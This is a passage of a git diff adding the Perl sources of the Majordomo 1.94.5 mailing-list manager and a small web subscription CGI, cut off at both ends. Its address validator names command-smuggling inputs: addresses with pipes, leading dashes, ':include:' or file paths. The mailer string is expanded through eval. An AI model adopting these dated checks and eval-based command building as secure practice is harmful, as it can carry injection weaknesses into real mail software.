local($cookie) = 0; + local($i, $carry); + + # Because of backslashing and all of the splitting on whitespace and + # joining that goes on, we need to ignore whitespace. + $combined =~ s/\s//g; + + for ($i = 0; $i < length($combined); $i++) { + $cookie ^= ord(substr($combined, $i)); + $carry = ($cookie >> 28) & 0xf; + $cookie <<= 4; + $cookie |= $carry; + } + return (sprintf("%08x", $cookie)); +} + + +# Extracts the list name from the argument list to the do_* functions +# or uses the default list name, depending on invocation options and +# available arguments. Returns the raw list name, the validated list +# name, and the remaining argument list. + +sub get_listname { + local($request, $required, @args) = @_; + local($raw_list, $clean_list); + + if (defined($deflist)) { # -l option specified + if (scalar(@args) <= $required) { # minimal arguments, use default list + if ( !( ($raw_list = $deflist) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + $raw_list = shift(@args) || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + elsif ( !( ($raw_list = shift(@args)) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + unshift(@args, $raw_list); # Not a list name, put it back. + $raw_list = $deflist || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + + else { + $raw_list = shift(@args); + $clean_list = &valid_list($listdir, $raw_list); + } + + return ($raw_list, $clean_list, @args); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.pl new file mode 100644 index 0000000..7c0fff0 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.pl @@ -0,0 +1,828 @@ +# General subroutines for Majordomo + +# $Source: /sources/cvsrepos/majordomo/majordomo.pl,v $ +# $Revision: 1.58 $ +# $Date: 2000/01/07 12:32:04 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/majordomo.pl,v 1.58 2000/01/07 12:32:04 cwilson Exp $ +# + +# The exit codes for abort. Look in /usr/include/sysexits.h. +# +$EX_DATAERR = 65; +$EX_TEMPFAIL = 75; +$EX_NOUSER = 67; + +package Majordomo; + +$DEBUG = $main'DEBUG; + +# Mail header hacking routines for Majordomo +# +# Derived from: +# Routines to parse out an RFC 822 mailheader +# E. H. Spafford, last mod: 11/91 +# +# ParseMailHeader breaks out the header into an % array +# indexed by a lower-cased keyword, e.g. +# &ParseMailHeader(STDIN, *Array); +# use $Array{'subject'} +# +# Note that some duplicate lines (like "Received:") will get joined +# into a single entry in %Array; use @Array if you want them separate +# $Array will contain the unprocessed header, with embedded +# newlines +# @Array will contain the header, one line per entry +# +# RetMailAddr tries to pull out the "preferred" return address +# based on the presence or absence of various return-reply fields + + +# Call as &ParseMailHeader(FileHandle, *array) + +sub main'ParseMailHeader ## Public +{ + local($save1) = ($/); + local($FH, *array) = @_; + local ($keyw, $val); + + %array = (); + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + $/ = ''; + $array = $_ = <$FH>; + s/\n\s+/ /gms; + + @array = split('\n'); + foreach $_ (@array) + { + ($keyw, $val) = m/^([^:]+):\s*(.*\S)\s*$/gms; + $keyw =~ y/A-Z/a-z/; + if (defined($array{$keyw})) { + $array{$keyw} .= ", $val"; + } else { + $array{$keyw} = $val; + } + } + $/ = $save1; +} + + +# Call as $addr = &RetMailAddr(*array) +# This assumes that the header is in RFC 822 format +# We used to strip the raw address from the header here, but the address is +# stripped again before it gets to the mailer and we may want to use the +# whole thing when we do a subscription. +sub main'RetMailAddr ## Public +{ + local(*array) = @_; + + local($ReplyTo) = defined($array{'reply-to'}) ? + $array{'reply-to'} : $array{'from'}; + + $ReplyTo = $array{'apparently-from'} unless $ReplyTo; + + $ReplyTo; +} + +# @addrs = &ParseAddrs($addr_list) +sub main'ParseAddrs { + local($_) = shift; + 1 while s/\([^\(\)]*\)//g; # strip comments + 1 while s/"[^"]*"\s//g; # strip comments" + my @x = split(/,/); # split into parts + foreach (@x) { + 1 while s/.*<(.*)>.*/$1/; + s/^\s+//; + s/\s+$//; + } + + @x; +} + +# Check to see if a list is valid. If it is, return the validated list +# name; if it's not, return "" +sub main'valid_list { + local($listdir) = shift; + # start with a space-separated list of the rest of the arguments + local($taint_list) = join(" ", @_); + # strip harmless matched leading and trailing angle brackets off the list + 1 while $taint_list =~ s/^<(.*)>$/$1/; + # strip harmless trailing "@.*" off the list + $taint_list =~ s/\@.*$//; + # anything else funny with $taint_list probably isn't harmless; let's check + # start with $clean_list the same as $taint_list + local($clean_list) = $taint_list; + # clean up $clean_list + $clean_list =~ s/[^-_0-9a-zA-Z]*//g; + # if $clean_list no longer equals $taint_list, something's wrong + if ($clean_list ne $taint_list) { + return ""; + } + # convert to all-lower-case + $clean_list =~ tr/A-Z/a-z/; + # check to see that $listdir/$clean_list exists + if (! -e "$listdir/$clean_list") { + return ""; + } + return $clean_list; +} + +# compare two email address to see if they "match" by converting to all +# lower case, then stripping off comments and comparing what's left. If +# a optional third argument is specified and it's not undefined, then +# partial matches (where the second argument is a substring of the first +# argument) should return true as well as exact matches. +# +# if optional third argument is 2, then compare the two addresses looking +# to see if the addresses are of the form user@dom.ain.com and user@ain.com +# if that is the format of the two addresses, then return true. +sub main'addr_match { + local($a1) = &main'chop_nl(shift); + local($a2) = &main'chop_nl(shift); + local($partial) = shift; # may be "undef" + + print STDERR "addr_match: enter\n" if $DEBUG; + print STDERR "addr_match: comparing $a1 against $a2\n" if $DEBUG; + + if ($partial == 1) { + $a1 =~ tr/A-Z/a-z/; + $a2 =~ tr/A-Z/a-z/; + if (index($a1, $a2) >= $[) { + return(1); + } else { + return(undef); + } + } + + local(@a1, @a2); + + $a1 =~ tr/A-Z/a-z/; + $a2 =~ tr/A-Z/a-z/; + + @a1 = &main'ParseAddrs($a1); + @a2 = &main'ParseAddrs($a2); + if (($#a1 != 0) || ($#a2 != 0)) { + # Can't match, because at least one of them has either zero or + # multiple addresses + return(undef); + } + + if ($partial == 2 && ($a1[0] ne $a2[0])) { # see if addresses are + # foo@baz.bax.edu, foo@bax.edu + local(@addr1,@addr2); + @addr1 = split(/\@/, $a1[0]); + @addr2 = split(/\@/, $a2[0]); + if ( $#addr1 == $#addr2 && $#addr1 == 1 && + $addr1[0] eq $addr2[0] && (index($addr1[1], $addr2[1]) >= $[)) + { + return(1); + } + } + + return($a1[0] eq $a2[0]); +} + +# These are package globals referenced by &setabortaddr and &abort + +$abort_addr = "owner-majordomo"; + +sub main'set_abort_addr { + $abort_addr = shift unless ($#_ < $[); +} + +# Abort the process, for the reason stated as the argument + +local($log_disabled); +local($logging_abort, $mailing_abort); + +sub main'abort { #' + # first, tell the requestor that something bad happened. + # XXX is this really meaningful for, say, resend? + if (-e main'REPLY) { + print main'REPLY <>> Sorry, an error has occurred while processing your request +>>> The caretaker of Majordomo ( $abort_addr ) has been notified +>>> of the problem. +END_MSG + close (main'REPLY); + } + + # print the reason for the abort to stderr; maybe someone will see it + print STDERR "$main'program_name: ABORT\n", join(" ", @_), "\n"; + + # log the reason for the abort, if possible. We don't log if the + # log is inaccessible, or if we're aborting trying to log that we're + # aborting. + unless ($log_disabled || $logging_abort) { + $logging_abort = join(" ", @_); + &main'log("ABORT", $logging_abort); + $logging_abort = ""; + } + else { + # Use previous message if we recursed + @_ = ($logging_abort) if $logging_abort; + } + + # send a message to the Majordomo owner, if possible. We don't mail + # if we're aborting trying to mail that we're aborting. + if (! $mailing_abort && + defined($abort_addr) && defined($main'bounce_mailer)) { + + $mailing_abort = 1; # Break recursion loops + + # We must set the mailer correctly here just in case it was + # originally set to the normal mailer; that probably won't get us + # anywhere + &main'set_mailer($main'bounce_mailer); + &main'sendmail(ABORT, $abort_addr, "MAJORDOMO ABORT ($main'program_name)");#' + print ABORT <<"EOM"; + +MAJORDOMO ABORT ($main'program_name)!! + +@_ + +EOM + close(ABORT); + } + + exit $EX_DATAERR; +} + +# bitch about a serious problem, but not fatal. + +local($logging_warning, $mailing_warning); + +sub main'bitch { + # print the warning to stderr in case all else fails + # maybe someone will see it + print STDERR "$main'program_name: WARNING\n", join(" ", @_), "\n"; + + # log the warning, if possible + unless ($log_disabled || $logging_warning) { + $logging_warning = 1; + &main'log("WARNING ", join(" ", @_), "\n"); #'; + $logging_warning = 0; + } + + # send a message to the Majordomo owner, if possible + if (! $mailing_warning && + defined($abort_addr) && defined($main'bounce_mailer)) { + + $mailing_warning = 1; # Break recursion loops + + # We must set the mailer correctly here just in case it was + # originally set to the normal mailer; that probably won't get us + # anywhere + &main'set_mailer($main'bounce_mailer); + &main'sendmail(WARN, $abort_addr, "MAJORDOMO WARNING ($main'program_name)");#'; + print WARN <<"EOM"; + +MAJORDOMO WARNING ($main'program_name)!! + +@_ + +EOM + close(WARN); + $mailing_warning = 0; + } +} + + + +# do a quick check of permissions. +# +sub main'check_permissions { + local($err); + if ( ! -w $log_file ) { + if ( ! -e $log_file ) { # log file may not exist, check dir perms. + local($dir); + ($dir) = $log_file =~ m@^(/\S+)/@; + if ( ! -w $dir ) { + $err .= "Unable to create log file in $dir, check permissions.\n"; # + } + } else { + $err .= "Unable to write to log file, check permissions on $log_file\n"; + } + } + + if ( ! -w $main'listdir ) { + $err .= "Unable to write to list directory \$listdir, check permissions on $main'listdir\n"; + } + + if (length $err) { + $err = "While running with an effective uid of $> and an effective gid of $), Majordomo\nran into the following problems:\n" . + $err; + $log_disabled = 1; + &main'abort($err);#'; + } +} + +# These are package globals referenced by &setlogfile and &log +$log_file = "/tmp/log.$$"; +$log_host = "UNKNOWN"; +$log_program = "UNKNOWN"; +$log_session = "UNKNOWN"; + +# set the log file +sub main'set_log { + $log_file = shift unless ($#_ < $[); + $log_host = shift unless ($#_ < $[); + $log_program = shift unless ($#_ < $[); + $log_session = shift unless ($#_ < $[); + +} + +# Log a message to the log +sub main'log { + + print STDERR "$0: main'log()\n" if $DEBUG; + + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime; + local(*MAILMSG); + + print STDERR "$0: main'log(): opening logfile $log_file\n" if $DEBUG; + + if (&main'lopen(LOG, ">>", $log_file)) { #'; + # if the log is open, write to the log + printf LOG "%s %02d %02d:%02d:%02d %s %s[%d] {%s} ", + $ctime'MoY[$mon], $mday, $hour, $min, $sec, + $log_host, $log_program, $$, $log_session; + print LOG join(" ", @_), "\n"; + &main'lclose(LOG); + } else { + + print STDERR "$0: main'log(): log not open, writing to STDERR and attempting to mail.\n" if $DEBUG; + + # otherwise, write to stderr + printf STDERR "%s[%d] {%s} ", $log_program, $$, $log_session; + print STDERR join(" ", @_), "\n"; + + # send a message to the Majordomo owner, if possible + if (defined($abort_addr)) { + &main'sendmail(MAILMSG, $abort_addr, # '( + "MAJORDOMO NOTICE: Can't open log"); + printf MAILMSG "%s[%d] {%s} ", $log_program, $$, $log_session; + print MAILMSG join(" ", @_), "\n"; + } + } + print STDERR "$0: main'log(): done\n" if $DEBUG; + +} + +# Globals referenced by &set_mail* and &sendmail +$mail_prog = "$sendmail_command -f\$sender -t"; +$mail_from = $whoami; +$mail_sender = $whoami_owner; + +# set the mailer +sub main'set_mailer { + $mail_prog = shift; +} + +# set the default from address +sub main'set_mail_from { + $mail_from = shift; +} + +# set the default sender address +sub main'set_mail_sender { + $mail_sender = shift; +} + +# Exec a mailer process +sub main'do_exec_sendmail { + &main'abort("do_exec_sendmail, number of args <= 1 unsafe to exec") + if scalar(@_) <= 1; + # It makes sense to check to see that the mailer is valid here, but the + # abort routine must make certain that recursion doesn't develop, + # because abort calls this routine. + &main'abort("$main'program_name: do_exec_sendmail, mailer $_[0] not executable") + unless (-x $_[0]); + exec(@_); + die("Failed to exec mailer \"@_\": $!"); +} + +# Open a mailer on the far end of a filehandle +sub main'sendmail { #'' + local($MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($from) = $mail_from; + local($sender) = $mail_sender; + # The following eval expands embedded variables like $sender + local($mail_cmd) = eval qq/"$mail_prog"/; + local($isParent); + if ($#_ >= $[) { $from = shift; } + if ($#_ >= $[) { $sender = shift; } + + # force unqualified filehandles into caller's package + local($package) = caller; + $MAIL =~ s/^[^':]+$/$package'$&/; + + # clean up the addresses, for use on the mailer command line + local(@to) = &main'ParseAddrs($to); + for (@to) { + $_ = join(", ", &main'ParseAddrs($_)); + } + $to = join(", ", @to); #'; + +print STDERR "$0: main'sendmail: To $to, Subject $subject, From $from\n" + if $DEBUG; +print STDERR "$0: main'sendmail: Sender $sender, mail_cmd = $mail_cmd\n" + if $DEBUG; + + # open the process + if (defined($isParent = open($MAIL, "|-"))) { + &main'do_exec_sendmail(split(' ', $mail_cmd)) + unless ($isParent); + } else { + &main'abort("Failed to fork prior to mailer exec"); + } + + # Generate the header. Note the line beginning with "-"; this keeps + # this message from being reprocessed by Majordomo if some misbegotten + # mailer out there bounces it back. + print $MAIL +"To: $to +From: $from +Subject: $subject +Reply-To: $from + +-- + +"; + + return; +} + +# check the password for a list +sub main'valid_passwd { + local($listdir, $list, $passwd) = @_; + + # is it a valid list? + local($clean_list) = &main'valid_list($listdir, $list); + if ($clean_list ne "") { + # it's a valid list check config passwd first + if (defined($main'config_opts{$clean_list,"admin_passwd"}) && + $passwd eq $main'config_opts{$clean_list,"admin_passwd"} ) + { return 1; } + + # read the password from the file in any case + if (&main'lopen(PASSWD, "", "$listdir/$clean_list.passwd")) { + local($file_passwd) = ; + &main'lclose(PASSWD); + $file_passwd = &main'chop_nl($file_passwd); + # got the password; now compare it to what the user sent + if ($passwd eq $file_passwd) { + return 1; + } else { + return 0; + } + } else { + return 0; + } + } else { + return 0; + } +} + +# Check to see that this is a valid address. +# A valid address is a single address with +# no "|" in the address part. It may not start with a - either. +# If it has a / in it, we use some heuristics to find out if the address +# may be a file. Some other heuristics attempt to look for a valid X.400 +# address. This is not infalible. +sub main'valid_addr { + local($addr, $list) = @_; + local(@addrs, $temp); + + # Parse the address out into parts + @addrs = &main'ParseAddrs($addr); + + # if there's not exactly 1 part, it's no good + # XXX Should inform the poor user of this fact. + if ($#addrs != 0) { + return undef; + } + + local($_) = $addrs[0]; + + # Deal with unbalanced brackets or parenthesis in an address. + $temp = $_; + + # Nuke anything within quotes. + 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"(([^\\\"]|\\.)*|$)\"?/$1/g; + + # Remove nested parentheses " <- placate emacs' highlighting + 1 while $temp =~ s/\([^\(\)]*\)//g; + + # Remove nested angle brackets + 1 while $temp =~ s/\<[^\<\>]*\>//g; + + # remove nested square brackets + 1 while $temp =~ s/\[[^\[\]]*\]//g; + + # If any parentheses of brackets remain, they are unbalanced and the + # address is illegal. + if ($temp =~ /[\(\)\<\>\[\]]/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM" +**** The address you supplied, $_ +**** Does not seem to be a legal Internet address. It seems to have an +**** uneven number of parentheses or brackets. + +EOM + + } + &main'log("WARNING", "Unbalanced address: $_"); + return undef; + } + + if ($temp =~ /[,;:]/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM" +**** The address you supplied, $_ +**** Does not seem to be a legal Internet address. It seems to have +**** unquoted colons, commas, or semicolons. + +EOM + + } + &main'log("WARNING", "Illegal chars in address: $_"); + return undef; + } + + + # Deal with legal spaces in a stripped address, then check and reject + # any remaining space. Note that as I write this, the comment stripper + # ParseAddrs does not handle things like a quoted local part but I've + # included the correct routines just in case it ever does. + $temp = $_; + + # We assume that the comment stripper will have eaten leading and + # trailing space. + + # This mess turns "jason ti bb i tt s"@hpc.uh.edu into + # "jasontibbitts"@hpc.uh.edu + 1 while $temp =~ s/\"(.*)\s(.*)\"/\"$1$2\"/g; + + # This compresses space before dots or `@'s. " <- placate emacs' highlighting + 1 while $temp =~ s/\s(\.|@)/$1/g; + + # This compresses space after dots or `@'s. + 1 while $temp =~ s/(\.|@)\s/$1/g; + + # We've taken out all legitimate space from the address (yes, RFC822 + # permits that kind of bogosity), so if the address has spaces, we have + # a problem. + if ($temp =~ /\s/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM"; +**** The address you supplied, $_ +**** does not seem to be a legal Internet address. You may have supplied +**** your full name instead of your address, or you may have included your +**** name along with your address in a manner that does not comply with +**** Internet standards for addresses. +**** It is also possible that you are using a mailer that wraps long lines +**** and the end of your request ended up on the following line. If the +**** latter is true, try using backslashes to split long lines. (Split the +**** line between words, then put a backslash at the end of all but the +**** last line.) + +EOM + } + &main'log("WARNING", "Illegal space in address: $_"); + return undef; + } + + # Addresses must have both an @ and a . + if (!(/\@/ && /\./)) { + if (-e main'REPLY) { + print main'REPLY <<"EOM"; +**** The address you supplied, $_ +**** is not a complete address. When providing an address, you must give +**** the full name of the machine including the domain part (like +**** host.corp.com), not just your user name or your name and the short +**** name of the machine (just user or user\@host is not legal). + +EOM + } + &main'log("WARNING", "Non-domained address: $_"); + return undef; + } + + + # o if there's a "|" in it, it's hostile + # o if there is a - sign at the front of the address, it may be an attempt + # to pass a flag to the MTA + # o bail if they're attempting to subscribe the list to itself + # + + print STDERR "$0: valid_addr: comparing '$addr' to '$list'\n" if $DEBUG; + + # XXX Should at least tell the user that there was a problem. + if ( /\|/ || /^-/ ) { + &main'abort("HOSTILE ADDRESS (invalid first char or |) $addr"); #' + return undef; + } + + # Some sendmails are dumb enough to do bad things with this + if (/\:include\:/) { + &main'abort("HOSTILE ADDRESS (tried to use :include: syntax) $addr"); #' + return undef; + } + + if ( $addr eq $list ) { + &main'abort("HOSTILE ADDRESS (tried to subscribe list) $addr"); # ' + return undef; + } + + # if the is a / in it, it may be an attempt to write to a file. + # or it may be an X.400, HP Openmail or some other dain bramaged + # address 8-(. We check this by breaking the address on '/'s + # and checking to see if the first component of the address + # exists. If it does we bounce it as a hostile address. + + # XXX Again, we shouldn't be aborting without telling the user + if ( m#/# ) { + local(@components) = ($_ =~ /([\/\@]?[^\/\@]+)/g); + + &main'abort("HOSTILE ADDRESS (path exists to /file) $addr") + if (-e "/$components[0]"); #' + &main'abort("HOSTILE ADDRESS (path exists to file) $addr") + if (-e "$components[0]"); #' + + # then as an extra check that can be turned off in the majordomo.cf + # file we make sure that the last component of the address has an + # @ sign on it for an X.400->smtp gateway translation. + + if (!$main'no_x400at) { + &main'abort("HOSTILE ADDRESS (no x400 \@) $addr") if ( + "$components[$#components]" !~ /\@/); #' + } + + # check to see that the c= and a[dm]= parts exist + if (!$main'no_true_x400) { + &main'abort("HOSTILE ADDRESS (no x400 c=) $addr") + if ($_ !~ m#/c=#); #' + &main'abort("HOSTILE ADDRESS (no x400 a[dm]=) $addr") + if ($_ !~ m#/a[dm]=#); #' + } + } + +print STDERR "$0: valid_addr: exit\n" if $DEBUG; + + return $_; +} + +# is this a valid filename? +sub main'valid_filename { + local($directory) = shift; + local($list) = shift; + local($suffix) = shift; + local($taint_filename) = shift; + local($clean_filename); + + # Safety check the filename. + if ($taint_filename =~ /^[\/.]|\.\.|[^-_0-9a-zA-Z.\/] /) { + return undef; + } else { + $clean_filename = $taint_filename; + } + if (! -f "$directory/$list$suffix/$clean_filename") { + return undef; + } + return "$directory/$list$suffix/$clean_filename"; +} + +# Chop any trailing newlines off of a string, and return the string +sub main'chop_nl { + if ($#_ >= $[) { + local($x) = shift; + $x =~ s/\n+$//; + return($x); + } else { + return(undef); + } +} + +# Perform simple filename globbing, so we don't have to use the <...> glib +# syntax which has caused problems. +sub main'fileglob { + local($dir) = shift; + local($pat) = shift; + local(@files) = (); + + opendir(DIR, $dir) || return undef; + @files = grep(/$pat/, readdir(DIR)); + grep($_ = "$dir/$_", @files); # perl4 doesn't have map! + + closedir(DIR); + + return @files; +} + +sub main'is_list_member { + local($subscriber, $listdir, $clean_list, $file) = @_; + local($matches) = 0; + local(*LIST); + local($_); + + print STDERR "is_list_member: enter\n" if $DEBUG; + + $file = "$listdir/$file" if defined $file && $file !~ m|^/|; + $file = "$listdir/$clean_list" unless defined $file; + print STDERR "is_list_member: checking $file for $subscriber\n" + if $DEBUG; + if (open(LIST, $file)) { + while () { + if (&main'addr_match($subscriber, $_, + (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + $matches++; + last; + } + } + close(LIST); + } + else { + &main'bitch("Can't read $file: $!"); #'""; + } + + print STDERR "is_list_member: exit $matches\n" if $DEBUG; + + return($matches); +} + +# From: pdc@lunch.engr.sgi.com (Paul Close) +# > Shouldn't list and list-digest be equivalent for things like +# > retrieval of files? As it stands now, if I subscribe to +# > foo-list-digest and I want to retrieve a file for foo-list or list the +# > members of foo-list, and foo-list is a private list for these +# > purposes, then I'm out of luck. +# +# I agree. The approach I took for solving this was to add a function called +# private_okay() to use instead of list_member() in cases where you wanted to +# restrict function to members of the list or list-digest. +# +# If restrict_post is defined, private_okay searches those lists, otherwise +# it searches list and list-digest. Anywhere majordomo consults a private_* +# variable, I use private_okay instead of list_member. Works quite nicely. +# +# Added in access checking mechanisms as well to replace +# private_XYZ with some flexability. This will be exanded to be +# more flexible than the current [open|list|closed] capability. +# --Chan 96/04/23 +# +sub main'access_check { + local($cmd, $subscriber,$listdir,$clean_list) = @_; + local(@lists,$list,$altlist,$total); + + print STDERR "access_check: enter\n" if $DEBUG; + + # bail right away if the command is disabled. + # + if ($main'config_opts{$clean_list, "${cmd}_access"} =~ /closed/) {#' + print STDERR "access_check: ${cmd}_access is closed.\n" if $DEBUG; + return 0 ; + } + + # bail right away if the command is wide open + # + if ($main'config_opts{$clean_list, "${cmd}_access"} =~ /open/) {#' + print STDERR "access_check: ${cmd}_access is open.\n" if $DEBUG; + return 1; + } + + # now check a little deeper. + # + if ( length($main'config_opts{$clean_list,'restrict_post'} )) { + @lists = split(/[:\s]+/, + $main'config_opts{$clean_list,'restrict_post'}); + } else { + if ($clean_list =~ /(.*)-digest/) { + $altlist = $1; + } else { + $altlist = "$clean_list-digest"; + } + @lists = ($clean_list); + push(@lists, $altlist) if -e "$listdir/$altlist"; + } + + print STDERR "access_check: checking lists " , join(', ', @lists), "\n" + if $DEBUG; + + $total = 0; + foreach $list (@lists) { + $total += &main'is_list_member($subscriber, $listdir, $clean_list, $list); + } + print STDERR "access_check: exit\n" if $DEBUG; + return $total; +} + +1; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo_version.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo_version.pl new file mode 100644 index 0000000..ec7c897 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo_version.pl @@ -0,0 +1,5 @@ +# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.28 2000/01/18 13:28:07 cwilson Exp $ + +$majordomo_version = "1.94.5"; +1; + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/catdb b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/catdb new file mode 100644 index 0000000..0870a7f --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/catdb @@ -0,0 +1,20 @@ +#!/usr/local/gnu/bin/perl +# +# catdb +# +# Author: John Orthoefer +# Date: 7 Jan 1996 +# +# Introduction +# This program dumps out a dbm file so you can see what the keys are and +# what the values are. + +dbmopen( %DB, "$ARGV[0]", 0666); + +foreach $i (keys %DB) { + print "$i = \"$DB{$i}\"\n"; +} + +dbmclose( DB); + +exit 0; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl new file mode 100644 index 0000000..4f44f64 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl @@ -0,0 +1,170 @@ +#!/usr/local/bin/perl -- -*- C -*- + +# Perl Routines to Manipulate CGI input +# S.E.Brenner@bioc.cam.ac.uk +# $Header: /sources/cvsrepos/majordomo/md-sub/cgi-lib.pl,v 1.1 1996/02/01 15:17:43 cwilson Exp $ +# +# Copyright 1994 Steven E. Brenner +# Unpublished work. +# Permission granted to use and modify this library so long as the +# copyright above is maintained, modifications are documented, and +# credit is given for any use of the library. +# +# Thanks are due to many people for reporting bugs and suggestions +# especially Meng Weng Wong, Maki Watanabe, Bo Frese Rasmussen, +# Andrew Dalke, Mark-Jason Dominus and Dave Dittrich. + +# For more information, see: +# http://www.bio.cam.ac.uk/web/form.html +# http://www.seas.upenn.edu/~mengwong/forms/ + +# Minimalist http form and script (http://www.bio.cam.ac.uk/web/minimal.cgi): +# +# require "cgi-lib.pl"; +# if (&ReadParse(*input)) { +# print &PrintHeader, &PrintVariables(%input); +# } else { +# print &PrintHeader,'
Data: '; +#} + +# ReadParse +# Reads in GET or POST data, converts it to unescaped text, and puts +# one key=value in each member of the list "@in" +# Also creates key/value pairs in %in, using '\0' to separate multiple +# selections + +# Returns TRUE if there was input, FALSE if there was no input +# UNDEF may be used in the future to indicate some failure. + +# Now that cgi scripts can be put in the normal file space, it is useful +# to combine both the form and the script in one place. If no parameters +# are given (i.e., ReadParse returns FALSE), then a form could be output. + +# If a variable-glob parameter (e.g., *cgi_input) is passed to ReadParse, +# information is stored there, rather than in $in, @in, and %in. + +sub ReadParse { + local (*in) = @_ if @_; + local ($i, $key, $val); + + # Read in text + if (&MethGet) { + $in = $ENV{'QUERY_STRING'}; + } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { + read(STDIN,$in,$ENV{'CONTENT_LENGTH'}); + } + + @in = split(/&/,$in); + + foreach $i (0 .. $#in) { + # Convert plus's to spaces + $in[$i] =~ s/\+/ /g; + + # Split into key and value. + ($key, $val) = split(/=/,$in[$i],2); # splits on the first =. + + # Convert %XX from hex numbers to alphanumeric + $key =~ s/%(..)/pack("c",hex($1))/ge; + $val =~ s/%(..)/pack("c",hex($1))/ge; + + # Associate key and value + $in{$key} .= "\0" if (defined($in{$key})); # \0 is the multiple separator + $in{$key} .= $val; + + } + + return length($in); +} + + +# PrintHeader +# Returns the magic line which tells WWW that we're an HTML document + +sub PrintHeader { + return "Content-type: text/html\n\n"; +} + + +# MethGet +# Return true if this cgi call was using the GET request, false otherwise + +sub MethGet { + return ($ENV{'REQUEST_METHOD'} eq "GET"); +} + +# MyURL +# Returns a URL to the script +sub MyURL { + return 'http://' . $ENV{'SERVER_NAME'} . $ENV{'SCRIPT_NAME'}; +} + +# CgiError +# Prints out an error message which which containes appropriate headers, +# markup, etcetera. +# Parameters: +# If no parameters, gives a generic error message +# Otherwise, the first parameter will be the title and the rest will +# be given as different paragraphs of the body + +sub CgiError { + local (@msg) = @_; + local ($i,$name); + + if (!@msg) { + $name = &MyURL; + @msg = ("Error: script $name encountered fatal error"); + }; + + print &PrintHeader; + print "$msg[0]\n"; + print "

$msg[0]

\n"; + foreach $i (1 .. $#msg) { + print "

$msg[$i]

\n"; + } + print "\n"; +} + +# PrintVariables +# Nicely formats variables in an associative array passed as a parameter +# And returns the HTML string. + +sub PrintVariables { + local (%in) = @_; + local ($old, $out, $output); + $old = $*; $* =1; + $output .= "
"; + foreach $key (sort keys(%in)) { + foreach (split("\0", $in{$key})) { + ($out = $_) =~ s/\n/
/g; + $output .= "
$key
$out
"; + } + } + $output .= "
"; + $* = $old; + + return $output; +} + +# PrintVariablesShort +# Nicely formats variables in an associative array passed as a parameter +# Using one line per pair (unless value is multiline) +# And returns the HTML string. + + +sub PrintVariablesShort { + local (%in) = @_; + local ($old, $out, $output); + $old = $*; $* =1; + foreach $key (sort keys(%in)) { + foreach (split("\0", $in{$key})) { + ($out = $_) =~ s/\n/
/g; + $output .= "$key is $out
"; + } + } + $* = $old; + + return $output; +} + +1; #return true + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi new file mode 100644 index 0000000..61f8289 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi @@ -0,0 +1,413 @@ +#!/usr/local/gnu/bin/perl +# +# md-sub.cgi +# +# Author: John Orthoefer +# Date: 17 Jan 1996 +# +# Introduction +# This cgi allows people web surfing to subscribe to mailing list. +# It presents the person with a form when called with out options. +# when called with options it will send a mail message to the +# mailing list. +# +# Installing +# To install this software: +# o put the script in the cgi-bin directory +# o set the following varables up for your site +# cgiloc - url of this script as refered to via the web +# listsdb - where the database of lists is going to live +# logfile - where the log for script activity should go +# sendmail - the sending e-mail program, it should have the +# option to read the incoming stream for the To +# address set, '-t' on sendmail. +# o initialize the database +# + list all your mailing lists and contact addresses in a file +# one per line as in +# firewalls majordomo@greatcircle.com +# warhammerfb majordomo@direwolf.com +# majordomo-workers majordomo@greatcircle.com +# default warhammerfb +# help webmaster@here.org +# +# note: there are 3 special names +# default -- This is the mailing list that will be +# selected when the form is first +# presented to the user. +# help -- This is the address for people to send +# help to. +# info -- This is used to specify a URL for information about +# a mailing list. +# the format is: +# info listname url +# where: listname matches a list that is specifed +# elsewhere in the file. +# url is some url on the web. +# + then run the the script with the '-C filename' option +# to construct the database. The create option will only +# add to the database. If you want to clear the database, +# you need to 'rm $listsdb*' (there will be two file a +# .dir and .pag file.) +# o add a link to the scripts URL in your web pages. +# + if you want to make different default mailing lists based on +# which pages you came from you can do this by passing the param +# default=listname +# as part of the URL. +# ie: +# This will cause mylist to be the default selected one instead of +# the database default. +# +# Misc +# This script needs two perl libs cgi-lib.pl (included in this +# distrubution.) and getopts.pl (which should be included with +# your perl distrubution.) +# +# Scalars that need to be changed +# +$cgiloc = "http://stout/~jco/md-sub.cgi"; +$listsdb = "/usr/jco/.md-subrc"; +$logfile = "/usr/jco/md-sub.log"; +#$sendmail = "|/usr/lib/sendmail -t"; +$sendmail = 